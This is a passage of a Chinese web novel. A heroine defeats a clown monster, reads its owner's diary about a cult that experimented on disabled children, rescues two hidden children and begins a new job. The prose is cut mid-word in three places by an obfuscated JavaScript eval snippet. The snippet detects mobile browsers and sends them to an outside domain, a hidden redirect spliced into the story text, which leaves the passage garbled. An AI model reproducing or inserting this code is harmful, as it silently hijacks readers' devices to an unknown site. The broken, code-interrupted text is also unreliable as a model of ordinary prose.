余颂时的目光紧紧盯着克奇，他的脸因为胀大而导致油彩从脸上脱落，露出了他原本的五官。 灵光乍现，她想起来她在哪里见过这张脸了！ 是林伟。是小熊超市的管理员。 不，他从头到尾都不像是管理员，他在说谎。 他的污染核心会是什么…… 余颂时突然想起林伟的右眼装的是义眼，也许就是右眼！ 克奇已经膨大到了半个剧场那么大，他的头贴着剧场天花板，低头望着躲在墙角的两人。 他伸出一坨肉泥的右手，往墙角甩去，余颂时推开杜瑾，自己也迅速躲开了。 “右眼！”她大喊道，“他的污染核心在右眼！” 杜瑾愣了一下，立刻就抬头望向小丑，克奇似乎听见了余颂时的话，紧紧闭上了眼睛。 由于他的脸上涂满了各色油彩，一闭上眼，那张脸就陷入了层层叠叠的肉褶皱中，完全看不清眼睛在哪里了。 该死的！余颂时急得直跺脚。 “我来引起他的注意！” 杜瑾跳到剧院的舞台上，对着小丑的头连开了三枪。 子弹打在克奇身上就和进了黑洞一样，无影无踪，于他而言不过是挠痒痒而已，但杜瑾丝毫没有犹豫，继续朝克奇开枪。 火花四射，终于有颗子弹打进了克奇的后脑勺。 克奇发出一声低沉的吼声，浑身的肉颤抖了几下，他显然也被打烦了，大吼一声转过身，想去抓杜瑾。 无数肉芽从克奇身上伸了出来，向杜瑾展开雨点般密集的袭击，杜瑾灵活地左右躲避，甚至在肉芽触手里玩起了躲猫猫。 余颂时换了普通手枪，也朝着克奇连续发射了几发子弹。 “我们同时开枪，干扰他的判断！”余颂时利用头盔的共享音频和杜瑾说。 杜瑾回了句收到长官，就继续加大火力。 克奇被他们的左右夹击惹烦躁了，他摇动着身体，在伸出的肉芽上又长出无数密密麻麻的小肉芽，像是刺，他晃动着肥硕的身体，无数枝丫剧烈地摇晃着，其中一个扫到了余颂时的手臂，她躲避不及，被刺划了一道。 杜瑾敏锐地注意到她的情况，急忙喊道：“没事吧！” “没事。”余颂时咬牙，“我的子弹快不够了，我们必须逼他睁开眼！” “我来。” 杜瑾只抛下一句简单的话，她后退了几步，开始助跑，跑到舞台边缘之时，猛地一跳，径直跳到了克奇身上。 这一动作吓得一向自以为大胆的余颂时心脏都跟着颤抖了几下。 “你在干什么！”余颂时着急得破了音，“你不要命了！” 杜瑾摇摇晃晃地扒在克奇身上，她转过身，对余颂时露出一个微笑。 “好好活着。”杜瑾对她留下一句话，拿出口袋里的匕首，刺进了克奇的身体里。 克奇大叫一声，身上的肉又抖了几抖，差点没把杜瑾甩下来，杜瑾死死地扒着克奇的身体，指甲陷入了肉里，她一点一点地用匕首往上爬，她的手臂已经被肉刺割出无数细小的伤口。 余颂时咬着牙，拿出最后一把枪，对准克奇的头颅，猛烈射击。 “来吧，今天我不打死你我不叫余颂时！” 克奇已经完全被激怒了，他伸出无数肉芽，向余颂时袭来，余颂时一个跳跃，跳到了舞台上，她对杜瑾喊道：“杜瑾！快点！” 杜瑾已经快到达克奇的头颅了，克奇察觉了这点，他的肉芽缩了回去，又向杜瑾袭去。 数十个肉芽眼看着就将杜瑾包裹住，杜瑾用尽全力，大叫一声，借助克奇的身体的弹性做起跳点，用力一跃，将匕首插进了克奇的脸上。 克奇哀嚎一声，杜瑾趁此机会将匕首旋转一圈，双手握着匕首往下滑，在克奇的脸上划出一道鲜血淋漓的血痕。 “老怪物，你把你的眼睛给老娘露出来！”杜瑾大吼一声。 克奇的喉咙发出低沉的闷吼，终于那脸上的褶皱褪去，露出了一丝光亮。 余颂时抓紧机会，拿起清洁枪对准那丝光亮射出了子弹。 这次她赌上了她全部的精神值。 【警告：精神值耗尽，警告，精神值耗尽……】 余颂时只觉得耳边响起剧烈的耳鸣，她头晕脑胀，脑子里像是有根铁丝在反复摩挲她脆弱的神经，而眼前的一切都出现了无数的重影，她隐约能看见，克奇在不断缩小，像泄了气的祈求，不断地瘪下去。 她闻到了一股浅浅的血腥味，后知后觉，才发现自己在流鼻血。 她顾不得其它的，挣扎着爬起来要去查看杜瑾的情况。 克奇的精神能量在慢慢消散，无数黄色的精神粒子如沙粒般飘散在空中，漂浮在整座剧场的每一个角落。 余 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15072729|163291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颂时拿起收纳器，放到舞台上，摇摇晃晃地起身要去找杜瑾。 杜瑾静静地躺在剧场的过道上，不知死活。 余颂时扑了过去，急切地喊着杜瑾的名字，摇晃着她的身体。 她的头盔已经破裂，余颂时急忙解下杜瑾的头盔，拍打着她的脸，试图唤醒她。 “杜瑾！杜瑾！你醒醒，你看看我！” 杜瑾费力地睁开眼睛，眼神聚焦了一会，看到余颂时，扬起嘴角笑了笑。 “别叫了，多费力气啊。” 余颂时咬着后槽牙，眼睛发酸，说出的话也不自觉在颤抖。 “我不要你那样做！你凭什么那样做！” 杜瑾的眼睛弯了弯，她看着余颂时，缓缓地说：“我为什么那样做，你应该很清楚吧。” 余颂时死死地盯着她，眼圈发红：“你想说什么？” 话音刚落，杜瑾身体上所有的细小伤口都不见了，她的身体开始慢慢变得透明。 余颂时沉默地看着她。 “你见到我的第一刻，应该就知道了。”杜瑾笑了笑，“谢谢你没戳穿我，我被困在这里好久了，终于能和一个活人说说话了，最后在你身边走，我很开心。” “你是怎么……”余颂时喉头哽塞，剩下的话她无论如何也说不出口。 “一年前，我看到了帖子，却不是什么怪谈，而是求救贴。”杜瑾看着天花板，慢慢地说道，“有两个小孩在求救。” 余颂时瞪大了眼睛。 “我保存了帖子，给上司看，上司却无论如何都不相信我的话，我报警，警察以证据不足拒绝了我，我报给污染管理局，管理局始终没有回信。” 杜瑾咳嗽了一声，断断续续地继续说：“我很着急，因为我知道，再多拖几天，那两个孩子怕是凶多吉少，所以我来了，我知道此行可能有去无回，但我必须去。我用所有钱在地下黑市买了一些装备，到达游乐园的时候，我发现处处不对劲，最后我到了怪奇屋，来到了地下室，看到了那两个小孩，可当我要去救他们的时候，克奇来了……” “那……那两个小孩呢？” 杜瑾轻轻地笑了一下：“他们还在地下室。克奇不知道为什么，不敢靠近那里，他们在那躲了很久。” “求求你，救救他们。”杜瑾想要去拉余颂时的手，但她的身体已经部分消散，她最后对着余颂时露出一个释怀的微笑。 “这是我的手环，里面存有我全部的报告。抱歉，之前为了让你能帮助我，我隐瞒了一些内容，我并不是一个诚实的人，我也差点害了你，对不起。” “遇见你很开心。好好活着。” 她的身体已经全部消散，化成无数透明粒子，这一次，余颂时没有去拿收纳器。 她静静地坐在原地，看着精神粒子不断汇聚，最后她伸出手掌，接住了落下的雨滴。 一滴雨滴落在余颂时的脸颊上，像湿润的眼泪，又咸又苦。 【正在收集精神粒子……】 【载入精神值中……精神值更新……您目前的精神值为3400】 【支线任务：调查并解决废弃游乐场污染源，已完成100%，当前系统评价值5150，获得20000星元，奖励已发至您的账户上。】 【净化特殊污染物，小丑，解锁污染结晶，小丑的右眼，赠送神秘道具，小丑的油彩面具，知识值更新至25%】 “活着。”余颂时站了起来，抹了把脸，只觉脸上是湿的，她已分不清那是眼泪还是其它的什么。 她捡起地板上落下的手环，又回到了舞台上，拿起了收纳器，放进包里。 做完这些后，她再次回过头，剧院里空荡荡的，一个人也没有。 12. 克奇的日记 余颂时背起包，决定去舞台后台看看。 舞台后台是个狭窄的化妆间和休息室，里面有着许多戏服，芭蕾舞蹈服，小丑服还有一些道具，出乎意料的，这些衣服都非常整洁干净，道具也都崭新如初，整整齐齐地摆在那里。 可见这里的主人非常爱护它们，经常进行定期维修和养护。 余颂时想起刚才克奇说的那些话。 她现在看到的克奇是已经异变之后的他，但也许很久之前，他并不是那样的呢？ 这里到底经历了什么？ 余颂时到处翻找，想寻找一些线索。 当时游乐园发生污染事故，撤离得很匆忙，那些特警估计也无心去搜查这些东西，她应该能找到线索。 经过一番搜寻之后，她终于在抽屉里找到了一本边缘发黄的日记本。 日记本已经落了灰，被锁在一个小盒子里，显然日记本的主人已经很久没有动过它了。 2192年1月5日 今天右眼又开始隐隐作疼了。 想换个好点的义眼，可是想想换义眼的那么多钱给孩子们能够买多少衣服。 算了。 天气太冷了。带着这些孩子们到处表演也拿不了多少钱。 唉，他们太可怜了，各个都有基因缺陷，要么是被遗弃的孤儿，除了卖弄身体残疾娱乐观众，我们想不到其它谋生的手段了。 身份证上的E等公民就像自出生起就在我们身上去除不掉的烙印，我们一生都将带着这个烙印生活着。 2192年5月2日 今天去城区表演，又被驱赶了。 那些城管让我们不要在这里表演，可是我们又能去哪啊？ 2192年6月1日 儿童节。 这些小孩没有童年。今天斑斑和我说，他想要喝一口快乐水。我问他快乐水是什么，他说今天表演的时候看见一个小孩手上拿着，他想去讨一口，被小孩骂下等人，跛脚鬼。 都是什么事。 我给他买了快乐水，他喝了一口，说剩下的都给我喝，我也喝了一口，甜滋滋的，不好喝，上等人的饮料也不过如此，我把剩下的分给了其它孩子们。 2192年7月1日 天气越来越热了，一直待在地下室里不是事儿，已经好几天没有出去表演了，存款快见底了。 妻子和我说女儿的病拖不得了。 她的意思我知道，是想让我舍弃马戏团的孩子。 可是我怎么舍弃得下啊。 2192年7月15日 真的受不了了。 今天出去扮成小丑，他们说我笑得不开心。 可是我明明尽力在笑了啊。 2192年7月20日 今天表演的时候，因为笑得太夸张，义眼不小心掉出来了。 观众突然开始尖叫四散，我一直在找我的义眼。 它好像被踩碎了…… 2192年8月1日 今天突然有个人找上我，说政府有个帮扶项目，专门针对我们这种E等公民的，可以提供工作还有住处，我特别开心，他给我出示了工作证，我签了名，他让我周日去荆棘教堂找他。 余颂时看到这，突然想起，当时在门口碰到林伟和李钦的时候，他们在念着什么祷告词，结合有人在游乐园的木马实行献祭仪式，她推测这应当是某个宗教组织。 只是这个宗教组织的目的不明。 林伟的手上有纹身，但她当时并没有看清楚。纹身应该就是入教的教众都需要纹上的。 她接着往下看。 2192年9月1日 太好了，我们真的有家了。 我们搬进了西河小区，虽然只是很简单的两室一厅，但我依然很开心。 而且我们也马上就要有工作了，他们说在附近要开个游乐园，要建一个怪奇屋，可以让我们在里面表演。他还说可以给我安个新的义眼，太好了。我右眼看不见太久了，已经忘记双目都能清晰看见的感觉是什么样了。 虽然我们有十个人，挤在一屋，但很温馨。 至少之前睡在外面，担惊受怕的日子不再有了。 2192年10月15日 我安上了新的义眼。 新的义眼非常自然，和正常的眼睛完全一样！ 这是我新生活的开始，也是我的重生。 2192年11月2日 女儿的病越来越严重了。 我去求助了教主，教主居然给了我一笔钱，还慷慨提供了特效药给我们，说这是医药公司新研究的药，不外传的。 女儿吃了药之后，果然好了很多！ 2192年12月31日 马上就要新年了。 女儿经过一疗程治疗，好多了。 其它孩子们也陆续接受了治疗，看起来都很好。 太好了，日子在慢慢变好。 2193年2月1日 今天去教堂做了礼拜。 教主告诉我，是万能的神赐予了我们现在的生活。 我现在无比笃信神的存在。 教主说只要我勤做祷告，神就会眷顾我们。 我问他神也会眷顾我们这些下等公民吗？ 他说神平等地爱世人，不分高低贵贱。 真好，我信神，我爱神。 2192年2月15日 游乐园马上就要开业了。我最近一直非常紧张，生怕经营不好怪奇屋。 我认识了一个邻居，他在西河小区做保安，他叫李钦。他患有佝偻病，他还收养了一个女儿，叫李慧，和我女儿一样大，长得非常漂亮可爱，可惜就是瘸了一条腿。 她们经常一起玩，关系很好。 神啊，希望这样的日子永远持续下去吧。 2192年3月1日 今天教主找到我，告诉我怪奇屋已经装修好了，让我带孩子们过去排练一下，说是上层领导要看。 我很紧张，带孩子们排练了好几天，可是我们之前都是街头杂技，这真能过关吗？ 为了带孩子们排练，我带孩子们又住进了地下室。 以后，地下室成了我第二个家了。 2193年3月20日 我们演完了。 我等了好几天反馈，今天教主才告诉我，说领导觉得我们的节目不够有趣，让我再改改。 唉，头疼，这要怎么改啊。他们都多少有身体残疾，要不试试让他们唱唱歌，演演话剧？ 2193年5月21日 游乐园正式开业啦，今天人流量不错，也有许多人过来看，真好！ 2193年6月1日 怪奇屋的节目成为游乐园的主推项目了，太好了！ 2193年10月5日 不知道是什么原因，女儿的病又加重了，她最近时不时会咳血，而且她的手开始长出奇怪的肉芽，我赶紧去找教主。教主说他这里有一些基因药剂，可以彻底治好我女儿的病，问我要不要试一试。 我答应了。 2193年11月1日 女儿的病还是没好。教主说我要足够虔诚，每日诵读祷词，才能感动神。 今天夜晚我竟然梦见了神，他对我说，女儿的病马上好了。 果然，醒来之后女儿就好转了。 2193年12月2日 教主和我说，最近来怪奇屋看表演的人少了，让我想想办法。 我说孩子们都是残疾人，做不了多少事情的。 教主说，他这边有生长药剂，结合基因改造手术，也许可以试试。 我太感激教主了，但教主却说，不要感谢他，要感谢神。 我说我同样感谢神，教主的存在就等同于神。 2194年1月2日 我给那些孩子们用了生长药剂，果然他们好转了，斑斑的腿竟然慢慢可以走路了。 2194年2月3日 李钦找到我，说想让我女儿加入怪奇屋，说她女儿有个梦想，就是跳舞。 我给他引荐了教主，说教主一切都有办法。 2194年6月2日 李慧真的是个可爱的孩子。教主说可惜她的腿瘸得太厉害，可能需要更多的药剂。 李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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教主说他们需要做一个仪式，需要我帮忙。 他说做好这个仪式，所有人都能变好。 而怪奇屋还能重新开门。 2195年10月1日 天哪。 我竟然亲手杀死了我的女儿。 短短两行字，却压迫感极强，让余颂时都喘不过气来。 2195年10月2日 李钦问我有没有看见李慧在哪。 我只好骗他说今天李慧和林娟出去玩了。 2195年10月8日 妻子似乎意识到了什么，她怀疑我害了女儿，同我争吵，烦躁得要死，我把她也杀了。 2195年11月5日 李钦意识到女儿可能失踪了，到处发疯似地寻找。 我安慰他，说我女儿也失踪了，会找回来的。 会的。会的。一切都会回来的。 仪式在5月21日开始，到那时，一切都会回来的。 一切都会步入正轨的。 2196年3月2日 李慧开始登台表演了。出乎意料的，来看的人非常多，非常火爆。 怪奇屋有救了！ 我的怪奇屋，我的怪奇屋…… 2196年4月21日 这一切马上就要结束了。 日记在游乐园发生污染事故的前一个月戛然而止。 后面发生的事情，余颂时大概也了解了。 从一开始，他不过是一个想活下去，想保护马戏团孩子的良善的人。 到最后，他杀死女儿，把马戏团的孩子作为祭品，他亲手毁灭了从前珍爱的一切。 原来，一个人从善到恶，从被欺凌者到举起屠刀的人，可能只需要轻轻一推。 命运的轻轻一推，把他推进了万丈深渊。 把他从林伟变成了克奇。 而更为讽刺的是，克奇不愿进去地下室，是因为，地下室是他曾经与孩子们日日夜夜待过的地方，是他们计划着未来梦想的地方。 他害怕面对这一切，害怕看见从前的林伟。 关于林伟的一切，像幽灵一样缠着他，让他日夜难寐。 看完日记之后，她把日记放进了包里，作为重要证据留存。 正准备离开的时候，她听见外面传来了细碎的脚步声。 13. 初一与十五 余颂时立刻站起身，往门外走去。 她拉开门帘，就看见在舞台上站着一个十五岁左右模样的女孩，她的黑色短发如鸟窝一样凌乱地堆在头上，在零碎的流海下，一双大而亮的眼睛充满警惕地盯着余颂时这个不速之客，如森林里的鹿突然发现了猎人，浑身都绷紧了。 她的外套破且旧，布满了脏兮兮的污渍，里面的毛衣倒还算干净，然而线头如杂草似的堆在衣角，显然很久没有认真打理过了。 余颂时注意到，在她身后，还有个小男孩，比她矮一个头，小心翼翼地扒着她的手臂，只露出一个毛茸茸的头发尖，似乎很怕余颂时。 “你是谁？” 小女孩注意到她的目光落在她身后的小男孩上，拉着他后退了一步。 “我是……” 余颂时突然想起杜瑾和她说过的那句话。 杜瑾说她在帖子上收到过两个孩子的求救，那应该就是这两个孩子吧？ 余颂时对他们笑了笑：“你们知道杜瑾吧？” 女孩愣了一下，她虽然还未挪动，但显然眼里的警惕性和攻击性已经消散了不少。 “你是——”女孩的声音嘶哑且低，还时不时有嘶拉的声音，听起来像是变了调的老旧收音机。 余颂时犹豫了一瞬，点了点头。 “我不会害你们。我是来救你们的。” 女孩转了转眼珠，依然保持着警惕。 “那你能证明吗？” 余颂时拿出自己放起来的杜瑾的手环，点开手环的光屏，给她看。 “这是我的证明。” 女孩的视线从手环和余颂时之间逡巡了几遍，才终于卸下了心理防备。 “我知道了。”女孩低低地问，“那她呢？” 余颂时沉默不语。 答案显而易见。 女孩也意识到了这个事实，低垂着眼眸，把在后面的男孩一起拉了出来，向她鞠了个躬。 “谢谢你们。” 她垂着头，余颂时可以看到她那一头蓬乱的黑发，像倔强的野草，不服输地根根竖着。 余颂时以前是教师，她本能地对身世悲惨的孩子们心存同情，她在心里长叹一口气，她伸出手：“我叫余颂时。你呢？” 女孩抬眼与她对视，说道：“我叫初一，他叫十五。” 好名字。 躲得过初一，躲不过十五。 一听就知道战斗力非常强的样子。 余颂时点了点头：“那你们接下来有什么打算吗？” 初一摇了摇头：“我们已经在这里待了三年了，早就不知道外面的世界是什么样的了。” “三年？！”余颂时失声叫道，“那你们是怎么活下来的？” 初一似乎并不愿意回答这个问题，她眼神闪躲，头微微侧着。 “我们……不是人。” 她缓缓伸出手，余颂时看见她的手上长出了菌丝状的东西，那些菌丝从她手心钻出来，蠕动着，缠绕着，爬来爬去。 余颂时想到之前系统告诉过她的。 这个世界里存在着被精神污染过的污染者。污染者介于污染物和人类之间，到现在还没研究出污染者是如何在大面积精神污染下活下来的。 所以，初一和十五应该都是【污染者】。 这也解释了为什么他们可以在这样的环境下生存三年。 换任何一个人，都不可能在不吃不喝的情况下活过三年。 初一见余颂时久久不说话，以为余颂时介意她是个污染者，又补充道：“如果您不愿意带我们出去，我们能理解的。不管怎么样，您救了我们，就是我们的救命恩人。” 余颂时看着她卑微的样子，知道这孩子一定受了不少歧视，她叹了口气，走到初一面前，慢慢蹲下来，目光与她平视。 “听好了。我不会抛弃你们的。”余颂时伸出手，轻轻合拢起她的手掌，“你们以后就跟着我了。我知道有个地方，也许你们可以去。” 初一有些讶然，苍白的嘴唇颤抖着，连声音也不自觉地发抖：“真的吗？” 余颂时郑重地向她许诺：“真的。放心好了。” 余颂时站了起来，看着游乐园的一片狼藉，想起旋转木马那个神秘邪恶的献祭仪式并没有完全解开，但光靠她一人的能力，也许会有些困难。 她点开光屏，在联系人那儿划了很久，最后还是点了陆晏清的头像。 她现在只有陆晏清可以求助了。 给陆晏清发去消息和定位之后，余颂时带着初一和十五出了怪奇屋，到了外面。 游乐园的雾气已经消散了，刚才那些犹如行尸走肉的游客也全都消失不见了，连旋转木马也静静地立在那里，一切归于静寂，仿佛什么也没发生过。 只是另一个和平宁静的一天。 余颂时抬起手腕看了一眼，已经是凌晨三点了。 她刚走出几步，那种被窥视的不适感再次袭来，这次，视线更加赤裸裸，像有鬼魂贴着她的后背。 余颂时停住了脚步，往身后看去。 游乐园里寂静无声，连一片落叶也没有落下，她抬头看，在怪奇屋外面的梧桐树茂密的枝叶间，隐约闪烁着红光。 是监控。 余颂时眯起了眼睛。 监控画面停在了余颂时看向镜头的那一帧。 镜头拉远，不大的房间里，整整四面墙，全都挤满了密密麻麻的监控屏幕，上面有游乐园的各个角度，都是隐秘的，不易察觉的。 一名穿着白衣服的操作员坐在监控画面前，不断切换着，敲击着键盘。 “上将，我们已将所有的监控录入分析完毕。”操作员转过头，看向站在中间的男人。 男人穿着西装，袖口别着一枚小巧的镂金袖扣，他站在那里，一言不发，身上属于上位者的威严和森冷就透过一举一动无形中压迫着身边的人，让旁边的人只觉那沉沉的目光有如实质，不自觉地想弯下脊背。 “上将，那接下来我们怎么做？”旁边穿着蓝色衬衫的男人小心地开口问。 男人撩起眼皮，鹰隼似的眸子黑沉沉地锁在了画面中央，紧紧盯着画面中向监控镜头看来的余颂时。 “监控她的一切轨迹。” “好的。”身边的秘书忙不迭地点头应下。 说完之后，他转过身，又补充了一句话。 “她会是最完美的‘容器’。” 平淡的语气说出的话却犹如重磅地雷，彻底将在场的所有人都砸了个措手不及。 游乐园里，初一看着手里刚被她用菌丝手指拽下的监控器，神情迷茫地抬头看着余颂时。 “姐姐，所以这里面有什么？” 余颂时摩挲着下巴，把那监控器反反复复看了好多遍，依然没看出什么端倪。 最后，她实在找不出什么不对的地方了，只好说：“应该没藏什么。只是普通的监控，把它扔了吧。” 初一点点头，照她说的把监控器扔到了一边，监控器滚了几圈，落在了灌木丛里。 她们在游乐园的长椅上坐着休息，等待陆晏清赶过来接她们，余颂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15072731|163291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时闲得无聊，转头看着一直沉默不语的十五。 “话说，这孩子怎么一直不说话？”余颂时指着十五，问道，“他一直话都这么少的吗？” “对。十五他不爱说话，平时都不怎么说的。”初一咳嗽了一声，吐出几丝菌丝，她拍了拍旁边的十五，“不过他并没有排斥你，我能感受出来的。” 余颂时问：“你们都是克奇马戏团里的孩子吗？” “不是。”初一摇了摇头，“我们之前在别的地方，是在5月21日那天混进游客里偷跑进来的，有人在追我们。” “是谁？” “我不记得了。”初一叹了口气，脸上显出苦恼的表情，“我们似乎失去了之前的所有记忆。我只记得在那之前我和十五经常被人打骂，那人会用一些机器电晕我们。我们实在受不了，就偷偷跑出来了。” 余颂时觉得有些奇怪：“那你们这三年一直待在这里，没想过去别的地方？” “没有。克奇一直在游乐园里徘徊，只要出去必会遇见他，我们俩曾经试过逃跑，但都被发现了。唯有地下室他不去，所以我们一直躲在地下室，直到杜瑾姐姐过来。”初一顿了顿，然后慢慢捂住了脸，“后来的事你应该也能猜到。我们对不起杜瑾姐姐。” 余颂时一时间不知道怎么安慰她，只能拍了拍她的肩膀，将她搂得紧了点。 初一异常瘦弱，简直到了骨瘦如柴的地步，余颂时甚至能感受到隔着一层薄薄皮肤的骨头触感，很扎人。 但愿第一收容所愿意接受他们。 余颂时在心里默默祈祷道。 “所以，你刚入职第一收容所，甚至还没开始上班，就给他们招生源了？” 陆晏清看着不远处被几个特警包围的初一和十五，又转头望向她。 听出她话语里明显的嘲讽，余颂时不好意思地笑了一下。 “哈哈，我比较好心嘛，一方面她们也有归宿，一方面也替单位招揽生源嘛。” “你总有理。不扯其它的了。”陆晏清点了根电子烟，烟雾漫过她的眉眼，“说吧，你是怎么到这的？” 余颂时自然不能说这是系统的任务，只好隐瞒了系统的部分，只说自己在网络上看到了帖子，有人在求救，就见义勇为，过来看了。 陆晏清听完她的解释，放下电子烟，长眉一挑：“所以你的意思，你看到了一个帖子，就千里迢迢地来到这个偏僻的游乐园？你甚至没想过这会害死你？” 余颂时的眼神飘忽不定起来：“那我哪知道会这么危险……” 陆晏清瞟了她一眼：“行了，把那个帖子给我看下，还能找到不？” 余颂时忙道：“能，能。” 说完之后，她打开手环，准备从浏览记录里去找那几个帖子。 结果一点进去，统统都是不存在。 再往下划，就全部都是一片空白了。 “诶？奇怪了，怎么回事？”余颂时挠了挠脸，“帖子好像……不见了。” 陆晏清也在旁边看着，看到这个情况，她也没有惊讶，似乎在意料之中。 她抽了口烟，轻轻地吐出几个字：“幽灵贴。” “有人想故意引诱人来这里。”陆晏清冷笑一声，手环的幽幽蓝光照亮了她的半边脸，“真是不太平。” “行了，明天和我去做个笔录。还有那两个小孩一起。”陆晏清说，“特警和污染管理局那边要备案。你也累了，过两天不是还要上班么？” 哦，上班。 余颂时懵懵地想，还有这码事，差点都忘了。 14. 正式上班 第二天，陆晏清来接余颂时去特警队做笔录，顺便告诉她初一和十五已经在第一收容所安顿好了，让她别担心。 “话说回来，那两个小孩警惕性还挺强。”陆晏清一副连轴转没睡好的模样，脸色苍白，眼睛里还有红血丝，懒懒地靠在后座上，话音带着明显的沙哑，“问什么答什么，什么也不多说。” 余颂时看着她：“她们在第一收容所会习惯吗？” “别想这么多了。余老师。”陆晏清笑了笑，“十几岁的半大小孩儿了，还在那种环境下生活了三年，有什么不会习惯的。” “就是因为在那样的环境下生活了三年，才会担心她们不习惯啊。”余颂时仍旧有些担心，一时间口不择言，“万一有什么抑郁啊心理问题怎么办？” 陆晏清沉默了一下，接着说：“像他们这样的人，不知道有多少。比他们惨的人也比比皆是。” “心理疾病？呵。”陆晏清笑了一声，“那是最轻的问题。不值一提。” 余颂时闭嘴了。 她无可反驳。在巨大的生存压力面前，心理疾病确实不值一提。 特警队和余颂时想象中的不同，外表就是很普通的警察局，余颂时只进去了大厅，没有再往里面走了，大概闲杂民众只能在大厅里等。 大厅里挂着的金色警徽和她身份证上的一样，都是鸽子与花冠，中间是十字架。 看来这个标志是联邦的国徽。余颂时在心里暗暗记下。 特警们倒是没有问她什么，在她提到并强调有组织在利用E等公民做实验以及献祭仪式的时候，询问的特警连表情都未变一下，只是点了点头，看起来一点也不在意。 “你们……会去调查吗？”余颂时试探地问。 “调查什么？”特警看着她。 “呃……游乐园的污染事件，其实是那个旋转木马……” “我们知道了。”特警有些粗鲁地打断了她，“我们会去调查的。” 余颂时还想再问一点什么，特警就收起了问询设备。 “笔录到此为止，您可以回去了。” 余颂时只好收起有些失望的情绪，点了点头。 做完笔录和证词之后，陆晏清又把她送回了家。 路上，陆晏清再次问起她要不要到她所在的基地工作。 这次，余颂时没有直接拒绝她，而是审慎地回答了再考虑一下。 余颂时隐约觉得，游乐园事件后面有个更大的阴谋，然而她没有任何的证据和线索，也接触不到所谓的秘密，陆晏清更是讳莫如深，如果能进771基地，借助职务之便，也许可以调查到更多的线索。 由于过一天就要上班了，余颂时决定不想那么多，好好休息，再做打算。 回家之后，姜桃就发给她信息，让她明天下午去参加职前培训。 余颂时第二天下午早早地就到了第一收容所，刷了脸，和保安打了声招呼之后，就往里面走。 姜桃在门口等着她，见她过来了，笑盈盈地对她说：“职前培训很简单的，就告诉你一些注意事项，你别紧张哈。” 余颂时也笑了：“我不紧张。” 职前培训在A楼的101，她们到的时候101门口已经站了一个人。 那人穿着第一收容所的制服，全身上下裹得严严实实的，他看见余颂时走了过来，朝她点点头。 “你好，是新来的净化者对吧？我叫周毅。”他指了指里面说，“黄姐已经在里面等你了。” “哦，好。”余颂时连连点头，推开门就进去了。 她走了进去，里面的装修非常简约，墙面上贴着蓝白相间的瓷砖，地上铺着白色的大理石，一位穿着白色防护服的女士坐在桌前，见她进来了，目光从眼前的电脑移开，看向她。 “你好，是余颂时女士吧？”女人站了起来，和她握了握手，“我叫黄鹂。坐吧。” 余颂时坐在了她的对面。 “我需要提前和您告知一些入职前事项。”黄鹂的着装简洁干练，说话风格也干脆利落，开门见山，“你之前也应该了解了基本职责。每天早上使用仪器检测污染者的精神污染值以及情绪稳定值，并且教会他们基本的语言，技能以及常识，这些在教材上都有。如果有污染物发生暴动，你有权利当场击毙。” “除这些之外，我们会附赠你一些装备，如防护服，头盔，清洁枪之类的。还有这个，戒尺。”她拿起右手边的一根光滑尺子，“他们如果有任何不听话的现象出现，就可以用这个。” 她又继续说：“这个是校规，你们平时的一举一动都会被监控收录，如果学生有任何违反校规的情况出现，会扣分。扣分太多，会影响你的劳动报酬发放。” 哦。就是扣绩效。余颂时一下子get到了她的意思。 “好的，我知道了。”余颂时点了点头。 “其余的……”黄鹂顿了顿，继续说，“收容所之前发生过一次暴动，所以暂时封闭了一些区域，封闭区域都用警戒线拉起来了，注意别进去就行了。” “对了。”余颂时终于忍不住问出那个最重要的问题，“工资多少？” 黄鹂愣了愣，然后说：“嗯……每月固定5000星元。绩效和加班补贴另算。” 余颂时也有些沉默了。 因为这个工资和她想象的差得有点多。 照她这份工作的薪资，猴年马月能还完那一大笔债啊。 难道…她还要去找副业吗？ “还有什么事吗？”黄鹂看出她的犹豫，紧接着问。 “啊…没有了没有了。”余颂时笑了笑，“暂时没有了。” “好的。”黄鹂拉开抽屉，从里面拿出一张工牌，递给她，“那恭喜你上任了。余女士。” “谢谢。”余颂时接过那张工牌，感激地朝她笑了笑。 不管怎么样，先做着再说。 “那你明天——”黄鹂看了眼排班表，说，“早上九点记得到202教室。如果要请假，调班之类的和姜桃提前说就好了。” “好。” 余颂时收好工牌，离开了房间。 她刚出校门，姜桃就给她发消息。 姜桃：怎么样啦？ 余颂时：还不错。通过了，明天九点到。 姜桃：太好了。这份工作其实很难得的，虽然报酬有点不是很好。 余颂时：没事。 余颂时：对了，昨天陆晏清送来的那两个孩子，初一和十五，怎么样啦？ 姜桃：哦你说那对姐弟吗，适应得挺好的，我本来还担心，看到他们正常吃喝，心理状态也不错，就放心了。你放心好了，一切有我。 余颂时发了个小兔比心谢谢的表情过去。 余颂时坐上了回家的电车，在路上，她理了下接下来要做的事情。 除了继续调查游乐园事故之后的真相，她还需要找到怎么净化第一收容所的方法，系统给出的指导和任务模棱两可，她摸不着头脑，不知道该怎么进行下去。 她想了想，觉得应该边进行主线任务边慢慢找线索。 还有杜瑾的手环，她还没打开看。 